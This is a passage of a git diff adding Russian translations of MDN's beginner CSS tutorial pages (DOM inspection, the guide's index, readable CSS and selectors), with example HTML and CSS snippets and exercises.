+│ │ │ ▼╴<span style="color: black;">STRONG</span>
+│ │ └<span style="color: darkblue;">#text</span>
+│ ├╴<span style="color: darkblue;">#text</span>
+│ ►╴<span style="color: black;">STRONG</span>
+│ │</pre>
+
+  <p>При выборе любого узла, вы можете использовать правую панель DOMi's для поиска информации об узле. Например, когда вы выбираете текстовый узел, DOMi показывает вам текст в соответствующей панели.</p>
+
+  <p>При выборе узла элемента, DOMi анализирует его и предоставляет огромное количество информации, которая содержится в правой панели. Информация о стилях - лишь часть информации, которую там можно просмотреть.</p>
+ </li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">Задача</div>
+
+<p>В DOMi, кликните на узле <small>STRONG</small>.</p>
+
+<p>Используйте правую панель ДОМи, чтобы выяснить, где цвет для этого узла установлен на красный, и где его внешний вид сделан толще, чем обычный текст.</p>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>In the menu above the right-hand pane, choose <strong>CSS Rules</strong>. You see two items listed, one that references an internal resource and one that references your stylesheet file. The internal resource defines the <strong>font-weight</strong> property as <code>bolder</code>; your stylesheet defines the <strong>color</strong> property as <code>red</code>.</p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">Посмотреть решение задачи.</a></div>
+
+<h3 id="Использование_Рентген-очков">Использование Рентген-очков</h3>
+
+<p><a class="link-https" href="https://goggles.webmaker.org/" title="https://secure.toolness.com/webxray/">Рентген-очки </a>показывают меньше информации, чем DOM Инспектор, но проще в установке и использовании.</p>
+
+<ol>
+ <li>Перейдите на домашнюю страницу <a class="link-https" href="https://goggles.webmaker.org/" title="https://secure.toolness.com/webxray/">X-Ray Goggles</a>.</li>
+ <li>Перетащите ссылку X-Ray Googles с этой страницы на панель закладок.</li>
+ <li>Откройте HTML-документ.</li>
+ <li>Запустите Рентген-очки, кликнув по появившейся закладке.</li>
+ <li>Передвигайте курсор мыши по документу для просмотра элементов в документе.</li>
+</ol>
+
+<h2 id="Что_дальше">Что дальше?</h2>
+
+<p>{{ nextPage("/ru/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance", "Каскадность и наследование") }}Если вы решили задачу, то увидели, что информация о стиле из более чем одного места взаимодействует для создания окончательного стиля для элемента. На <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance" title="/ru/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance">следующей странице</a> объясняется больше об этих взаимодействиях.</p>
diff --git a/files/ru/web/guide/css/getting_started/index.html b/files/ru/web/guide/css/getting_started/index.html
new file mode 100644
index 0000000000..047fa6ea8f
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/index.html
@@ -0,0 +1,59 @@
+---
+title: CSS для начинающих
+slug: Web/Guide/CSS/Getting_started
+tags:
+  - Beginner
+  - CSS
+  - 'CSS:Getting_Started'
+  - Guide
+  - Needs
+  - NeedsBeginnerUpdate
+  - NeedsTranslation
+  - NeedsUpdate
+  - TopicStub
+  - Web
+  - Новичку
+  - Руководство
+translation_of: Learn/CSS/First_steps
+---
+<p><span class="seoSummary">Это руководство (самоучитель) познакомит вас с базовыми возможностями и языком (синтаксом) <a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS"><strong>Каскадных таблиц стилей</strong></a> (CSS). CSS используется для изменения внешнего вида структурированного документа, такого как веб-страница. Руководство также включает простые упражнения, которые вы сможете выполнить на своем компьютере и увидеть, как работает CSS, а также его возможности в современных браузерах. </span></p>
+
+<p>Данное руководство создано для новичков и всех, кто хотел бы освежить свои знания основ CSS. Если у вас уже есть опыт работы с CSS, на главной странице вы можете найти <a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS">список</a> обучающих ресурсов, подходящих для вашего уровня.</p>
+
+<nav class="fancyTOC"><a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/What_is_CSS" rel="next" title="Глава «Что такое CSS» руководства по CSS">Что такое CSS</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS" title="Глава «Зачем нужен CSS» руководства по CSS">Зачем нужен CSS</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/How_CSS_works" title="Глава «Как работает CSS» руководства по CSS">Как работает CSS</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance" title="Глава «Каскадирование и наследование» руководства по CSS">Каскадность и наследование</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors" title="Глава «Селекторы» руководства по CSS">Селекторы</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="Глава «Читаемость CSS» руководства по CSS">Читаемость CSS</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Text_styles" title="Chapter 'Text_styles' of the CSS tutorial">стили текста</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Color" title="Глава «Цвета» руководства по CSS">Цвета</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Content" title="Chapter 'Content' of the CSS tutorial">контент</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Lists" title="Глава «Списки» руководства по CSS">Списки</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Boxes" title="Chapter 'Boxes' of the CSS tutorial">блок</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Layout" title="Chapter 'Layout' of the CSS tutorial">макет</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Tables" title="Глава «Таблицы» руководства по CSS">Таблицы</a> <a class="button" href="/ru/docs/Web/Guide/CSS/Getting_Started/Media" title="Chapter 'Media' of the CSS tutorial">медиа</a></nav>
+
+<h2 id="Что_вам_нужно_для_того_чтобы_начать">Что вам нужно для того, чтобы начать</h2>
+
+<ul>
+ <li>Текстовый редактор</li>
+ <li>Современный браузер</li>
+ <li>Опыт работы с текстовым редактором и браузером</li>
+</ul>
+
+<p>В данном руководстве вам будут встречаться упражнения, которые вам предлагается выполнить для лучшего понимания материала. Их выполнение не является обязательным: вы можете просто читать материал и смотреть на иллюстрации.</p>
+
+<p><strong>Важно:</strong> Руководство включает в себя материалы по работе с цветом в CSS. Эти материалы будет легче пройти, если у вас цветной монитор и нормальное цветовое зрение.</p>
+
+<h2 id="Как_пользоваться_руководством">Как пользоваться руководством</h2>
+
+<p>Наилучшим вариантом будет внимательное и постепенное чтение разделов в строгой последовательности. Если вы пропустите какой-то раздел, вам может оказаться что-то непонятно в следующих главах.</p>
+
+<h3 id="Часть_I_Основы_CSS">Часть I: Основы CSS</h3>
+
+<p>На каждой странице, используйте секцию <em>Информация</em>, чтобы понять, как работает CSS. Используйте секцию <em>К действию</em>, чтобы попробовать использовать CSS на вашем компьютере.</p>
+
+<p>Чтобы проверить усвоенные знания, вам будет полезно решить задачу в конце каждой страницы. Верные решения задач вы всегда можете найти под их описанием в виде ссылки - таким образом, вы не сможете увидеть их случайно.</p>
+
+<p>Чтобы добиться более глубокого понимания CSS, читайте информацию в блоках с заголовком <em>Подробнее</em>. А также не забудьте посетить приведенные там ссылки.</p>
+
+<h3 id="Часть_II_Возможности_CSS">Часть II: Возможности CSS</h3>
+
+<p>Вторая часть руководства содержит примеры, которые продемонстрируют вам возможности CSS применительно к другим web-технологиям и технологиям Mozilla. </p>
+
+<ol>
+ <li><a href="/ru/docs/Web/Guide/CSS/Getting_Started/JavaScript" title="ru/CSS/Getting_Started/JavaScript">JavaScript</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Getting_Started/SVG_and_CSS" title="ru/CSS/Getting_Started/SVG_graphics">SVG графика</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Getting_Started/XML_data" title="ru/CSS/Getting_Started/XML_data">XML данные</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Getting_Started/XBL_bindings" title="ru/CSS/Getting_Started/XBL_bindings">XBL байдинг bindings</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Getting_Started/XUL_user_interfaces" title="en/CSS/Getting_Started/XUL_user_interfaces">Пользовательские интерфейсы XUL</a></li>
+</ol>
diff --git a/files/ru/web/guide/css/getting_started/readable_css/index.html b/files/ru/web/guide/css/getting_started/readable_css/index.html
new file mode 100644
index 0000000000..1720f6261d
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/readable_css/index.html
@@ -0,0 +1,165 @@
+---
+title: Чистый СSS код
+slug: Web/Guide/CSS/Getting_started/Readable_CSS
+translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors", "Selectors")}}<span class="seoSummary">Это 6-я статья руководства <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS для начинающих</a>; здесь </span>обсуждается стиль и грамматика самого языка CSS. Вы можете изменить пусть к вашему файлу CSS на более удобный для чтения.</p>
+
+<h2 class="clearLeft" id="Информация_Чистый_код_CSS">Информация: Чистый код CSS</h2>
+
+<p>Вы можете добавлять пустое пространство и комментарии к вашим стилям, чтобы сделать их более читабельными. Также вы можете группировать селекторы вместе, в случае если те же самые правила стиля применяются к разным элементам.</p>
+
+<h3 id="Пустое_пространство">Пустое пространство</h3>
+
+<p>Пустое пространство означает фактические пробелы, табуляцию, а также новые строки. Вы можете использовать их, чтобы сделать ваш код более читабельным.</p>
+
+<p>В макете страницы, данное пространство — это та часть, которая остается без опознавательных знаков: отступы от других элементов (margin) и пространство между колонками и строками.</p>
+
+<p>Ваш пример файла CSS в настоящее время имеет правила в одной строке, и почти минимум пробелов. В комплексе стилей эта схема будет усложнять читаемость, а значит в нее будет трудно вносить изменения.</p>
+
+<p>Стиль написания который вы выбираете, как правило, зависит от личных предпочтений, но если ваши css являются частью общих проектов, могут возникнуть трудности с понимаем вашего написания кода.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Примеры</div>
+
+<p>Некоторые люди пытаются написать код максимально компактно и пишут код в одну строку, даже если он достаточно долгий:</p>
+
+<pre class="brush: css">.carrot {color: orange; text-decoration: underline; font-style: italic;}
+</pre>
+
+<p>Некоторые люди предпочитают писать каждое свойство-значение в отдельной строке:</p>
+
+<pre class="brush: css">.carrot
+{
+color: orange;
+text-decoration: underline;
+font-style: italic;
+}
+</pre>
+
+<p>Некоторые используют отступы — 2 или 4 пробела или табы:</p>
+
+<pre class="brush: css">.carrot {
+  color: orange;
+  text-decoration: underline;
+  font-style: italic;
+}
+</pre>
+
+<p>Некоторые люди все выстраивают вертикально (но такое расположение не лучший вариант для поддержки):</p>
+
+<pre class="brush: css">.carrot
+    {
+    color           : orange;
+    text-decoration : underline;
+    font-style      : italic;
+    }
+</pre>
+
+<p>Некоторые люди используют смешанный пробелы для повышения читаемости.</p>
+
+<pre class="brush: css">.vegetable         { color: green; min-height:  5px; min-width:  5px }
+.vegetable.carrot  { color: orange;    height: 90px;     width: 10px }
+.vegetable.spinach { color: darkgreen; height: 30px;     width: 30px }
+</pre>
+</div>
+
+<p>Некоторые используют вкладки для компоновки элементов, а другие только пробелы.</p>
+
+<h3 id="Комментарии">Комментарии</h3>
+
+<p>Комментарии в CSS имеют следующий вид: <code>/*</code> комментарий <code>*/</code>.</p>
+
+<p>Вы можете использовать комментарии, чтобы сделать фактические комментарии в css, а также чтобы закомментировать временно часть кода с целью тестирования.</p>
+
+<p>Часть стилей, которая будет закомментирована, не будет отображатся браузером. Будьте осторожны при комментировании кода, поскольку важно сохранить правильный синтаксис остального кода.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<pre class="brush: css">/* стиль для начальной буквой C в первом пункте*/
+.carrot {
+  color:            orange;
+  text-decoration:  underline;
+  font-style:       italic;
+  }
+</pre>
+</div>
+
+<h3 id="Группировка_селекторов">Группировка селекторов</h3>
+
+<p>Когда многие элементы имеют один и тот же стиль, вы можете указывать группу селекторов, разделяя их запятыми. Декларация применится для всех выбранных элементов.</p>
+
+<p>В другом месте в таблице стилей можно указать те же селекторы уже индивидуально, чтобы применить индивидуальные правила стилей для них.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<p>Это правило делает элементы {{HTMLElement ("h1")}}, {{HTMLElement ("h2")}}, и {{HTMLElement ("h3")}} одного цвета.</p>
+
+<p>Удобно определить цвет только в одном месте, в случае, если возможны изменения.</p>
+
+<pre class="brush: css">/* цвет для заголовков */
+h1, h2, h3 {color: navy;}
+</pre>
+</div>
+
+<h2 id="Действуем_добавление_комментариев_и_улучшения_формата">Действуем: добавление комментариев и улучшения формата</h2>
+
+<ol>
+ <li>Редактируя ваш CSS-файл убедитесь, что он применяет эти правила (в любом порядке):
+  <pre class="brush: css">strong {color: red;}
+.carrot {color: orange;}
+.spinach {color: green;}
+#first {font-style: italic;}
+p {color: blue;}
+</pre>
+ </li>
+ <li>Сделайте его более читабельным, перестраивая его таким образом, какой будете считать более логичным и применяя пробелы и комментарии на свое усмотрение.</li>
+ <li>Сохраните файл и обновите экран браузера, чтобы убедиться, что ваши изменения не повлияли на роботу стилей:
+  <table style="border: 2px outset #36b; padding: 1em;">
+   <tbody>
+    <tr>
+     <td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+    </tr>
+    <tr>
+     <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ol>
+
+<div class="tuto_details">
+<div class="tuto_type">Задание</div>
+
+<p>Закомментируйте часть стиля не меняя остальное, чтобы сделать первую букву вашего документа красной:</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+  <tr>
+   <td style="font-style: italic; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
+  </tr>
+  <tr>
+   <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>(Существует более чем один способ сделать это).</p>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+One way to do this is to put comment delimiters around the rule for <code>.carrot</code>:
+
+<pre class="brush: css">/*.carrot {
+  color: orange;
+}*/</pre>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">Посмотреть решение задания.</a></div>
+
+<h2 id="Что_дальше">Что дальше?</h2>
+
+<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles", "Text styles") }}Ваш образец таблицы стилей использовал курсивный текст и подчеркнутый текст. На следующей странице описаны несколько способов, чтобы <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Text_styles">указать внешний вид текста</a> в вашем документе<strong>.</strong></p>
diff --git a/files/ru/web/guide/css/getting_started/selectors/index.html b/files/ru/web/guide/css/getting_started/selectors/index.html
new file mode 100644
index 0000000000..7af11a31e1
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/selectors/index.html
@@ -0,0 +1,433 @@
+---
+title: Selectors
+slug: Web/Guide/CSS/Getting_started/Selectors
+translation_of: Learn/CSS/Building_blocks/Selectors
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Cascading_and_inheritance", "Cascading &amp; inheritance")}}Это пятый раздел руководства <a href="https://developer.mozilla.org/ru/docs/Web/Guide/CSS/Getting_Started" title="ru/CSS/Getting Started">CSS для начинающих</a>. В нем объясняется, как можно выборочно применять стили и каким образом различные типы селекторов имеют разные приоритеты. <span class="seoSummary"> </span></p>
+
+<p>Некоторые атрибуты добавляются к тегам в шаблоне документа, и эти атрибуты используются в шаблоне таблицы стилей.</p>
+
+<h2 class="clearLeft" id="Информация_Селекторы">Информация: Селекторы</h2>
+
+<p>Ранее мы уже встречались с селекторами. Мы создали строку в файле стилей следующего вида:</p>
+
+<pre class="brush: css">strong {
+  color: red;
+}
+</pre>
+
+<p>В терминологии CSS эта строка полностью является <em>правилом CSS</em>. Это правило начинается со <code>strong</code>, что и называется <em>селектором</em> <em>CSS</em>. Селектор выбирает, к каким элементам DOM применяется правило.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">Подробности</div>
+
+<p>Часть внутри фигурных скобок называется <em>объявлением</em>.</p>
+
+<p>Ключевое слово <code>color</code> - <em>свойство</em>, а <code>red</code> - <em>значение</em>.</p>
+
+<p>Точка с запятой после пары "свойство-значение" отделяет её от других пар "свойство-значение" в том же объявлении.</p>
+
+<p>Этот учебник ссылается на селектор типа <code>strong</code> как на селектор <em>тега</em>. Спецификация CSS ссылается на него как на селектор <em>типа</em>.</p>
+</div>
+
+<p>На этой странице учебника объясняются дополнительные сведения о селекторах, которые можно использовать в правилах CSS.</p>
+
+<p>В дополнение к именам тегов, вы можете использовать в селекторах значения атрибутов. Это позволит вашим правилам быть более избирательными.</p>
+
+<p>Два атрибута имеют особый статус в CSS. Это <a href="/en-US/docs/Web/HTML/Global_attributes#attr-class" title="en-US/docs/Web/HTML/Global_attributes#attr-class"><code>class</code></a> и <a href="/en-US/docs/Web/HTML/Global_attributes#id" title="en-US/docs/Web/HTML/Global_attributes#id"><code>id</code></a>.</p>
+
+<h3 id="Селекторы_классов">Селекторы классов</h3>
+
+<p>Используйте атрибут <a href="/en-US/docs/Web/HTML/Global_attributes#attr-class" title="en-US/docs/Web/HTML/Global_attributes#attr-class"><code>class</code></a> в элементе, чтобы назначить элемент именованному классу. Выбор имени класса целиком за вами. Множество элементов в документе может иметь одно и то же значение класса.</p>
+
+<p>В вашей таблице стилей используйте точку перед именем класса для использования его в качестве селектора.</p>
+
+<h3 id="Селекторы_ID">Селекторы ID</h3>
+
+<p><code>Используйте атрибут <a href="/en-US/docs/Web/HTML/Global_attributes#id" title="en-US/docs/Web/HTML/Global_attributes#id">id</a> в элементе, чтобы назначить идентификатор элементу. Это зависит от вас, какое имя вы выберете для ID. Идентификационное имя должно быть уникальным в документе.</code></p>
+
+<p>В таблице стилей введите знак решетки перед идентификатором, когда вы используете его в селекторе.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+Этот HTML тэг имеет оба элемента, атрибут <code>class</code> и <code>id</code>:
+
+<pre class="brush: html">&lt;p class="key" id="principal"&gt;
+</pre>
+
+<p>Значение идентификатора <strong>id</strong>, <code>principal</code>, должно быть уникально в документе, но разные тэги в документе, могут иметь одинаковое имя <strong>class</strong> со значением <code>key</code>.</p>
+
+<p>Это правило делает все классы(class) со значением<code>key</code> зелёными. (Они даже не должны быть все элементами {{ HTMLElement("p") }}.)</p>
+
+<pre class="brush: css">.key {
+  color: green;
+}
+</pre>
+
+<p>Это правило делает один элемент с идентификатором (<strong>id</strong>) и значением <code>principal</code> полужирным:</p>
+
+<pre class="brush: css">#principal {
+  font-weight: bolder;
+}
+</pre>
+</div>
+
+<h3 id="Селекторы_Атрибутов">Селекторы Атрибутов</h3>
+
+<p>Вы не ограничены двумя специальными атрибутами, <code>class</code> и <code>id</code>. Вы можете определить <a href="/en-US/docs/Web/CSS/Attribute_selectors" title="/en-US/docs/Web/CSS/Attribute selectors">другие атрибуты</a> используя квадратные скобки. Внутри скобок вы задаёте имя атрибута, так же можно указать оператор соответствия и значение. Дополнительно, соответствие может быть установлено как чувствительное к регистру если дописать " i" после значения, но пока не все браузеры это поддерживают. Примеры:</p>
+
+<dl>
+ <dt><code>[disabled]</code></dt>
+ <dd>Выбирает все элементы с атрибутом "disabled".</dd>
+ <dt><code>[type='button']</code></dt>
+ <dd>Выбирает элементы с типом "button".</dd>
+ <dt><code>[class~=key]</code></dt>
+ <dd>Выбирает элементы со значением класса(class) "key" (но не такие как например "keyed", "monkey", "buckeye"). По сути эквивалентно <code>.key</code>.</dd>
+ <dt><code>[lang|=es]</code></dt>
+ <dd>Выбирает элементы определённые как Spanish. Это включает "es" и "es-MX" но не включает "eu-ES" (что является языком Basque).</dd>
+ <dt>[title*="example" i]</dt>
+ <dd>Выбирает элементы в состав которых входит "example", игнорируя регистр. В браузерах, которые не поддерживают флаг "i", этот селектор возможно не найдет ни один элемент.</dd>
+ <dt><code>a[href^="https://"]</code></dt>
+ <dd>Выбирает все защищённые ссылки.</dd>
+ <dt><code>img[src$=".png"]</code></dt>
+ <dd>Косвенно выбирает изображения PNG; любые изображения которые являются изображениями PNG но, чей адрес URL не заканчивается на ".png" (такие как в строке запроса) не будут выбраны.</dd>
+</dl>
+
+<h3 id="Селекторы_псевдокласса"><span class="short_text" id="result_box" lang="ru"><span>Селекторы псевдокласса</span></span></h3>
+
+<p><span id="result_box" lang="ru"><span>Псевдокласс класса CSS - это ключевое слово, добавленное в селектор, который задает особое состояние выбранного элемента.</span> <span class="alt-edited">Например {{Cssxref (": hover")}} применит стиль, когда пользователь наводит на элемент, указанный селектором.</span></span></p>
+
+<p><span id="result_box" lang="ru"><span>Псевдо-классы вместе с псевдоэлементами позволяют применять стиль к элементу не только по отношению к содержанию дерева документов, но и по отношению к внешним факторам, таким как история навигатора</span></span> ({{ cssxref(":visited") }}, для примера), <span id="result_box" lang="ru"><span>статус его содержимого</span></span> (наподобии {{ cssxref(":checked") }} <span id="result_box" lang="ru"><span>на некоторых элементах формы) или положение мыши </span></span> (наподобии {{ cssxref(":hover") }} <span id="result_box" lang="ru"><span> который позволяет узнать, находится ли мышь над элементом или нет).</span> <span>Чтобы просмотреть полный список селекторов, посетите</span></span> <a class="external" href="http://www.w3.org/TR/selectors/#selectors" rel="external nofollow" title="CSS3 Selectors working spec">CSS3 Спецификация работы селекторов</a>.</p>
+
+<div class="tuto_example">
+<div class="tuto_type"><span class="short_text" id="result_box" lang="ru"><span>Синтаксис</span></span></div>
+
+<pre class="brush:css">selector:pseudo-class {
+  property: value;
+}
+</pre>
+</div>
+
+<h4 id="Список_псевдоклассов"><span class="short_text" id="result_box" lang="ru"><span>Список псевдоклассов</span></span></h4>
+
+<ul>
+ <li>{{ Cssxref(":link") }}</li>
+ <li>{{ Cssxref(":visited") }}</li>
+ <li>{{ Cssxref(":active") }}</li>
+ <li>{{ Cssxref(":hover") }}</li>
+ <li>{{ Cssxref(":focus") }}</li>
+ <li>{{ Cssxref(":first-child") }}</li>
+ <li>{{ Cssxref(":last-child") }}</li>
+ <li>{{ Cssxref(":nth-child") }}</li>
+ <li>{{ Cssxref(":nth-last-child") }}</li>
+ <li>{{ Cssxref(":nth-of-type") }}</li>
+ <li>{{ Cssxref(":first-of-type") }}</li>
+ <li>{{ Cssxref(":last-of-type") }}</li>
+ <li>{{ Cssxref(":empty") }}</li>
+ <li>{{ Cssxref(":target") }}</li>
+ <li>{{ Cssxref(":checked") }}</li>
+ <li>{{ Cssxref(":enabled") }}</li>
+ <li>{{ Cssxref(":disabled") }}</li>
+</ul>
+
+<h2 id="Информация_Специфичность"><span class="short_text" id="result_box" lang="ru"><span>Информация: Специфичность</span></span></h2>
+
+<p><span id="result_box" lang="ru"><span>Несколько правил могут иметь селектор, каждый из которых соответствует одному и тому же элементу.</span> <span>Если свойство задано только одним правилом, конфликт не возникает, и свойство устанавливается в элементе.</span> <span>Если к элементу применяется более одного правила и устанавливает одно и то же свойство, тогда CSS дает приоритет правилу, которое имеет более</span></span> <a href="/en-US/docs/Web/CSS/Specificity">конкретный</a> <span id="result_box" lang="ru"><span>селектор</span><span>.</span> <span>Селектор ID более специфичен, чем селектор класса, псевдокласса или атрибута, который, в свою очередь, более специфичен, чем селектор тегов или псевдоэлементов.</span></span></p>
+
+<div class="tuto_details">
+<div class="tuto_type"><span class="short_text" id="result_box" lang="ru"><span>Подробнее</span></span></div>
+
+<p><span id="result_box" lang="ru"><span>Вы также можете комбинировать селектор, создавая более конкретный селектор.</span> <span>Например, селектор</span></span> <code>.key</code> <span id="result_box" lang="ru"><span>выбирает все элементы, с ключом имени класса </span></span><code>key</code>. Селектор <code>p.key</code> отбирает только {{ HTMLElement("p") }} элементы, которые имеют имя класса <code>key</code>.</p>
+</div>
+
+<p><span id="result_box" lang="ru"><span>Если таблица стилей имеет противоречивые правила, и они одинаково специфичны, тогда CSS дает приоритет правилу, которое позже находится в таблице стилей.</span></span></p>
+
+<p><span id="result_box" lang="ru"><span class="alt-edited">Если у вас возникла проблема с конфликтующими правилами, попробуйте разрешить это, сделав одно из правил более конкретным, чтобы оно имело приоритет.</span> <span class="alt-edited">Если вы не можете этого сделать, попробуйте переместить одно из правил ближе к концу таблицы стилей, чтобы оно имело приоритет.</span></span></p>
+
+<h2 id="Информация_Селекторы_на_основе_отношений"><span class="short_text" id="result_box" lang="ru"><span>Информация: Селекторы на основе отношений</span></span></h2>
+
+<p><span id="result_box" lang="ru"><span>CSS имеет несколько способов выбора элементов на основе отношений между элементами.</span> <span>Вы можете использовать их, чтобы сделать селектора более конкретными.</span></span></p>
+
+<table id="relselectors">
+ <caption><span class="short_text" id="result_box" lang="ru"><span>Общие селекторы, основанные на отношениях</span></span></caption>
+ <tbody>
+  <tr>
+   <td style="width: 10em;"><strong>Селектор</strong></td>
+   <td><strong>Выбрано</strong></td>
+  </tr>
+  <tr>
+   <td><code>A E</code></td>
+   <td>Любой E элемент, что является <em>потомком</em> одного из A элемента (то есть: дочерний, или один из дочернего, <em>т.д.</em>)</td>
+  </tr>
+  <tr>
+   <td><code>A &gt; E</code></td>
+   <td>Любой E элемент, что явлется  <em>дочерним</em> (т.е. прямой потомок)  A элемента.</td>
+  </tr>
+  <tr>
+   <td><code>E:first-child</code></td>
+   <td>Любой E элемент, что является первым <em>дочерним</em> элементом родительского элемента.</td>
+  </tr>
+  <tr>
+   <td><code>B + E</code></td>
+   <td>Любой E элемент, что является следующим <em>"братом"</em> B элемента (то есть: следующий ребенок того же родителя)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Вы можете комбинировать их для выражения сложных отношений.</p>
+
+<p>Вы можете так же использовать символ <code>*</code> (звездочка), что подразумевает "любой элемент".</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<p>Таблица HTML имеет аттрибут <code>id</code> , но строки и ячейки не имеют отдельных идентификаторов:</p>
+
+<pre class="brush: html">&lt;table id="data-table-1"&gt;
+...
+&lt;tr&gt;
+&lt;td&gt;Prefix&lt;/td&gt;
+&lt;td&gt;0001&lt;/td&gt;
+&lt;td&gt;default&lt;/td&gt;
+&lt;/tr&gt;
+...
+</pre>
+
+<p>Эти правила делают первую ячейку в каждой строке подчеркнутой, а "брат" первой ячейки каждой строки зачеркнутой (в примере 2-я ячейка) . <span id="result_box" lang="ru"><span>Они влияют только на одну конкретную таблицу в документе:</span></span>:</p>
+
+<pre class="brush:css">#data-table-1 td:first-child {text-decoration: underline;}
+#data-table-1 td:first-child + td {text-decoration: line-through;}
+</pre>
+
+<p>Резульат  выглядит  наподобии:</p>
+
+<table style="background-color: white; border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+  <tr>
+   <td>
+    <table style="margin-right: 2em; width: 18em;">
+     <tbody>
+      <tr>
+       <td><u>Prefix</u></td>
+       <td><s>0001</s></td>
+       <td>default</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">Подробно</div>
+
+<p><span id="result_box" lang="ru"><span>Обычным способом, если вы делаете селектор более конкретным, вы увеличиваете его приоритет.</span></span></p>
+
+<p>Если вы используете эти методы, вы избегаете необходимость указывать в атрибутах <code>class</code> или <code>id</code> на множестве тегов в вашем документе. Вместо этого, CSS выполнит эту работу.</p>
+
+<p><span id="result_box" lang="ru"><span>В больших конструкциях, где скорость важна, вы можете сделать свои таблицы стилей более эффективными, избегая сложных правил, которые зависят от отношений между элементами.</span></span></p>
+
+<p>Дополнительные примеры о таблицах, смотрите <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Tables" title="en-US/docs/Web/Guide/CSS/Getting_Started/Tables">Tables</a> на странице ссылок CSS.</p>
+</div>
+
+<h2 id="Действие_Использование_селекторов_class_и_ID">Действие: Использование селекторов class и ID</h2>
+
+<ol>
+ <li><span id="result_box" lang="ru"><span>Измените свой HTML-файл и продублируйте абзац, скопировав его и вставив в него</span></span>.</li>
+ <li>Затем добавьте аттрибуты <strong>id</strong> и <strong>class</strong>  в первую копию, а аттрибут <strong>id</strong> во вторую копию, как показано ниже. Кроме того, скопируйте и вставьте весь файл снова:
+  <pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  &lt;link rel="stylesheet" href="style1.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p id="first"&gt;
+      &lt;strong class="carrot"&gt;C&lt;/strong&gt;ascading
+      &lt;strong class="spinach"&gt;S&lt;/strong&gt;tyle
+      &lt;strong class="spinach"&gt;S&lt;/strong&gt;heets
+    &lt;/p&gt;
+    &lt;p id="second"&gt;
+      &lt;strong&gt;C&lt;/strong&gt;ascading
+      &lt;strong&gt;S&lt;/strong&gt;tyle
+      &lt;strong&gt;S&lt;/strong&gt;heets
+    &lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
